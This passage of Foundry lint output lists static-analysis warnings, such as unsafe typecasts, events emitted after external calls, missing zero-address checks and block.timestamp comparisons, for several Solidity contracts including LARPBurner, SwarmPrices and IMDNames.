│\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/LARPBurner.sol:296:21\n    │\n296 │             return (false, \"\");\n    │                     ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n   ╭▸ src/LARP.sol:78:13\n   │\n78 │         if (block.timestamp > deadline) revert Expired();\n   │             ━━━━━━━━━━━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/LARP.sol:138:9\n    │\n138 │         emit AgentSet(imdId, holder, agent);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n   ╭▸ src/SwarmPrices.sol:83:38\n   │\n83 │     bytes32 public constant ACTION = bytes32(\"oracle.request@oracle-1\");\n   │                                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n   │\n   ├ note: consider disabling this lint if you're certain the cast is safe\n   │       \n   │       // casting to 'bytes32' is safe because [explain why]\n   │       // forge-lint: disable-next-line(unsafe-typecast)\n   │       \n   │       \n   ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/LARPLinks.sol:208:9\n    │\n208 │         LARPBurner(payable(BURNER)).burn{value: msg.value}(minImd);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/SwarmPrices.sol:131:33\n    │\n131 │     constructor(address intake, address oracleSigner, Prices memory start) {\n    │                                 ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/SwarmPrices.sol:131:17\n    │\n131 │     constructor(address intake, address oracleSigner, Prices memory start) {\n    │                 ━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/LARPBurner.sol:120:9\n    │\n120 │         address pairHook\n    │         ━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/LARPBurner.sol:114:9\n    │\n114 │         address pool4Hook,\n    │         ━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:142:16\n    │\n142 │         return int24(s);\n    │                ━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int24' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/SwarmPrices.sol:169:9\n    │\n169 │         emit Proposed(requestId, number, msg.sender, next);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARP.sol:159:45\n    │\n159 │         return ok && answer.length >= 32 && bytes4(abi.decode(answer, (bytes32))) == 0x1626ba7e;\n    │                                             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'bytes4' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/LARPBurner.sol:284:17\n    │\n284 │             try POOL_MANAGER.unlock(data) returns (bytes memory r) {\n    │                 ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/LARPBurner.sol:293:13\n    │\n293 │         try POOL_MANAGER.unlock{gas: LEG_GAS}(data) returns (bytes memory r) {\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/LARPBurner.sol:193:21\n    │\n193 │                     emit Bought(eth, imd, route);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/LARPBurner.sol:197:27\n    │\n197 │             if (imd == 0) emit Parked(eth);\n    │                           ━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/LARPBurner.sol:267:9\n    │\n267 │         emit Burned(rest, share, burned6900);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/LARPBurner.sol:287:49\n    │\n287 │                 if (gasleft() <= gasBefore / 4) revert TooLittleGas();\n    │                                                 ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/LARPBurner.sol:292:61\n    │\n292 │         if (gasleft() < LEG_GAS + LEG_GAS / 63 + AFTER_GAS) revert TooLittleGas();\n    │                                                             ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:179:43\n    │\n179 │             uint256 spent = _burnBlock == uint64(block.number) ? _burnedInBlock : 0;\n    │                                           ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/LARPLinks.sol:327:22\n    │\n327 │         (bool ok,) = LARP.canAct(c.captain, msg.sender);\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:183:30\n    │\n183 │                 _burnBlock = uint64(block.number);\n    │                              ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:184:34\n    │\n184 │                 _burnedInBlock = uint192(spent + waiting);\n    │                                  ━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint192' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPLinks.sol:342:39\n    │\n342 │         address distributor = address(uint160(w));\n    │                                       ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint160' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPLinks.sol:380:31\n    │\n380 │             j.token = address(uint160(t));\n    │                               ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint160' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/LARPLinks.sol:443:9\n    │\n443 │         (, c.faceCollection, c.faceTokenId, c.faceLive) = LARP.faceOf(imdId);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/LARPLinks.sol:454:22\n    │\n454 │         (bool ok,) = LARP.canAct(imdId, msg.sender);\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[uninitialized-local]: local variable is read before being initialized\n    ╭▸ src/LARP.sol:310:15\n    │\n310 │             ++digits;\n    │               ━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/uninitialized-local\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARP.sol:314:36\n    │\n314 │             out[--digits] = bytes1(uint8(48 + value % 10));\n    │                                    ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARP.sol:325:22\n    │\n325 │             out[i] = bytes16(\"0123456789abcdef\")[v & 15];\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'bytes16' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:229:43\n    │\n229 │                 pair, SwapParams(imdIs0, -int256(amount), imdIs0 ? MIN_PRICE_LIMIT : MAX_PRICE_LIMIT), \"\"\n    │                                           ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:232:27\n    │\n232 │                 imdIs0 ? (int128(delta >> 128), int128(delta)) : (int128(delta), int128(delta >> 128));\n    │                           ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:232:49\n    │\n232 │                 imdIs0 ? (int128(delta >> 128), int128(delta)) : (int128(delta), int128(delta >> 128));\n    │                                                 ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:232:67\n    │\n232 │                 imdIs0 ? (int128(delta >> 128), int128(delta)) : (int128(delta), int128(delta >> 128));\n    │                                                                   ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:232:82\n    │\n232 │                 imdIs0 ? (int128(delta >> 128), int128(delta)) : (int128(delta), int128(delta >> 128));\n    │                                                                                  ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:233:30\n    │\n233 │             if (imdDelta != -int128(int256(amount)) || outDelta <= 0) revert Unfilled();\n    │                              ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:233:37\n    │\n233 │             if (imdDelta != -int128(int256(amount)) || outDelta <= 0) revert Unfilled();\n    │                                     ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/LARPBurner.sol:236:13\n    │\n236 │             POOL_MANAGER.settle();\n    │             ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:237:27\n    │\n237 │             uint256 out = uint128(outDelta);\n    │                           ━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:245:61\n    │\n245 │         int256 d = POOL_MANAGER.swap(key, SwapParams(true, -int256(amount), MIN_PRICE_LIMIT), \"\");\n    │                                                             ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:246:27\n    │\n246 │         int128 ethDelta = int128(d >> 128);\n    │                           ━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:247:25\n    │\n247 │         int128 bought = int128(d);\n    │                         ━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:248:26\n    │\n248 │         if (ethDelta != -int128(int256(amount)) || bought <= 0) revert Unfilled();\n    │                          ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:248:33\n    │\n248 │         if (ethDelta != -int128(int256(amount)) || bought <= 0) revert Unfilled();\n    │                                 ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/LARPBurner.sol:249:9\n    │\n249 │         POOL_MANAGER.settle{value: amount}();\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:250:47\n    │\n250 │         POOL_MANAGER.take(IMD, address(this), uint128(bought));\n    │                                               ━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:251:27\n    │\n251 │         return abi.encode(uint256(uint128(bought)));\n    │                           ━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:251:35\n    │\n251 │         return abi.encode(uint256(uint128(bought)));\n    │                                   ━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[uninitialized-local]: local variable is read before being initialized\n    ╭▸ src/LARPBurner.sol:267:34\n    │\n267 │         emit Burned(rest, share, burned6900);\n    │                                  ━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/uninitialized-local\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/IMDNames.sol:220:33\n    │\n220 │         if (at == 0) return (0, false);\n    │                                 ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/IMDNames.sol:228:42\n    │\n228 │         if (owner == address(0)) return (false, address(0), 0, false);\n    │                                          ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/IMDNames.sol:228:64\n    │\n228 │         if (owner == address(0)) return (false, address(0), 0, false);\n    │                                                                ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/IMDNames.sol:240:33\n    │\n240 │         if (label == 0) return (false, address(0), 0, false);\n    │                                 ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/IMDNames.sol:240:55\n    │\n240 │         if (label == 0) return (false, address(0), 0, false);\n    │                                                       ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/IMDNames.sol:247:37\n    │\n247 │         if (at == 0) return (0, \"\", false);\n    │                                     ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/SwarmPrices.sol:182:16\n    │\n182 │             && block.timestamp <= a.expiresAt && a.answer.length == 32 && uint256(bytes32(a.answer)) == 1;\n    │                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/SwarmPrices.sol:185:9\n    │\n185 │         emit Verdict(requestId, approved, a.agreed, a.panelSize);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SwarmPrices.sol:182:83\n    │\n182 │             && block.timestamp <= a.expiresAt && a.answer.length == 32 && uint256(bytes32(a.answer)) == 1;\n    │                                                                                   ━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'bytes32' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SwarmPrices.sol:184:23\n    │\n184 │         p.decidedAt = uint64(block.timestamp);\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/IMDNames.sol:67:63\n   │\n67 │     constructor(address identity, ILARP larp, address burner, address artist_, address intake, address oracleSigner)\n   │                                                               ━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMDNames.sol:109:9\n    │\n109 │         LARPBurner(payable(BURNER)).burn{value: price}(minImd);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMDNames.sol:123:24\n    │\n123 │         if (toll != 0) LARPBurner(payable(BURNER)).burn{value: toll}(minImd);\n    │                        ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMDNames.sol:137:9\n    │\n137 │         emit NameRegistered(tokenId, label, to, price);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMDNames.sol:153:13\n    │\n153 │             emit NameUnlinked(old, imdId);\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMDNames.sol:158:13\n    │\n158 │             emit NameUnlinked(tokenId, was - 1);\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMDNames.sol:162:9\n    │\n162 │         emit NameLinked(tokenId, imdId, holder, toll);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMDNames.sol:185:9\n    │\n185 │         emit NameUnlinked(tokenId, imdId);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMDNames.sol:181:22\n    │\n181 │         (bool ok,) = LARP.canAct(imdId, msg.sender);\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[return-bomb]: external call with a gas limit may copy unbounded return data\n    ╭▸ src/LARPBurner.sol:293:13\n    │\n293 │         try POOL_MANAGER.unlock{gas: LEG_GAS}(data) returns (bytes memory r) {\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/return-bomb\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMDNames.sol:306:26\n    │\n306 │     function setRenderer(address renderer_) external {\n    │                          ━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMDNames.sol:314:24\n    │\n314 │     function setArtist(address artist_) external {\n    │                        ━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/SwarmPrices.sol:202:44\n    │\n202 │         if (p.status != Status.Approved || block.timestamp > p.decidedAt + EXECUTE_WINDOW) revert NotApproved();\n    │                                            ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/SwarmPrices.sol:204:32\n    │\n204 │         if (lastChange != 0 && block.timestamp < lastChange + COOLDOWN) revert Cooling();\n    │                                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SwarmPrices.sol:208:22\n    │\n208 │         lastChange = uint64(block.timestamp);\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SwarmPrices.sol:304:36\n    │\n304 │             digits[i - 1] = bytes1(uint8(48 + frac % 10));\n    │                                    ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[uninitialized-local]: local variable is read before being initialized\n    ╭▸ src/SwarmPrices.sol:320:15\n    │\n320 │             ++digits;\n    │               ━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/uninitialized-local\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ 